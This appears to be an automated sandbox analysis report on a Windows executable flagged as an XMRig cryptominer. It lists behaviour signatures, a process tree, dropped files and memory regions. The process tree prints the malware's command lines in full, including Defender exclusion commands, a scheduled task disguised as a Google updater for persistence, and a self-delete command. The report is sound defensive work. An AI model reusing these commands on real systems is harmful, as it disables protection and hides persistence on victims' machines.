Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    372s
  • max time network
    1797s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1252
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2740
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2560
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2564
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1804
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1960
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:868
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:1620
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1512
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:624
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2312
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2436
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {568A12DB-4FCE-42A9-896E-AD2BB40633B6} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2884
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:856

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 992KB
              • SHA256 8511ddf95c55ddbc881f62661edb049a798c620244758c4c559d9e8f5aea7c52
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 1.2MB
              • SHA256 68200a91ff56b154ba20fd5d9692565f6f7403739e114d10060f624ed99da756
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 4d9bff851e35cd2ba7a0241f26d094f44d2a6801cd42254b83b061e71a740e9b
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 1.3MB
              • SHA256 71c1e5c85155585f63c235956c78df4b3d1f33243d65ab83e7f4d8917d433fea
              • MD5 SHA1 SHA512 SSDEEP

              memory/868-53-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/868-54-0x0000000000A10000-0x0000000000A90000-memory.dmp

              memory/868-58-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/868-56-0x0000000000A10000-0x0000000000A90000-memory.dmp

              memory/868-57-0x0000000000A10000-0x0000000000A90000-memory.dmp

              memory/868-55-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/1960-47-0x0000000000FC0000-0x0000000001040000-memory.dmp

              memory/1960-48-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

              memory/1960-49-0x0000000000FC0000-0x0000000001040000-memory.dmp

              memory/1960-50-0x0000000000FC0000-0x0000000001040000-memory.dmp

              memory/1960-51-0x0000000000FC0000-0x0000000001040000-memory.dmp

              memory/1960-52-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

              memory/1960-46-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

              memory/2220-28-0x000000013FE70000-0x0000000140081000-memory.dmp

              memory/2220-0-0x000000013FE70000-0x0000000140081000-memory.dmp

              memory/2284-11-0x000000000269B000-0x0000000002702000-memory.dmp

              memory/2284-8-0x0000000002690000-0x0000000002710000-memory.dmp

              memory/2284-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/2284-9-0x0000000002694000-0x0000000002697000-memory.dmp

              memory/2284-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/2284-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

              memory/2284-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/2284-5-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

              memory/2312-70-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2312-74-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2436-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-125-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-159-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-157-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-155-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-153-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-151-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-149-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-142-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-140-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-138-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-67-0x0000000000700000-0x0000000000720000-memory.dmp

              memory/2436-66-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-68-0x0000000000790000-0x00000000007B0000-memory.dmp

              memory/2436-69-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2436-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-73-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-78-0x0000000000790000-0x00000000007B0000-memory.dmp

              memory/2436-79-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2436-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2436-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2564-34-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/2564-40-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/2564-39-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2564-38-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2564-37-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2564-36-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

              memory/2564-35-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2776-20-0x0000000002240000-0x00000000022C0000-memory.dmp

              memory/2776-23-0x0000000002240000-0x00000000022C0000-memory.dmp

              memory/2776-25-0x0000000002240000-0x00000000022C0000-memory.dmp

              memory/2776-26-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

              memory/2776-24-0x0000000002240000-0x00000000022C0000-memory.dmp

              memory/2776-22-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

              memory/2776-18-0x000000001B230000-0x000000001B512000-memory.dmp

              memory/2776-21-0x00000000022D0000-0x00000000022D8000-memory.dmp

              memory/2776-19-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

              memory/2884-44-0x000000013FE20000-0x0000000140031000-memory.dmp

              memory/2884-65-0x000000013FE20000-0x0000000140031000-memory.dmp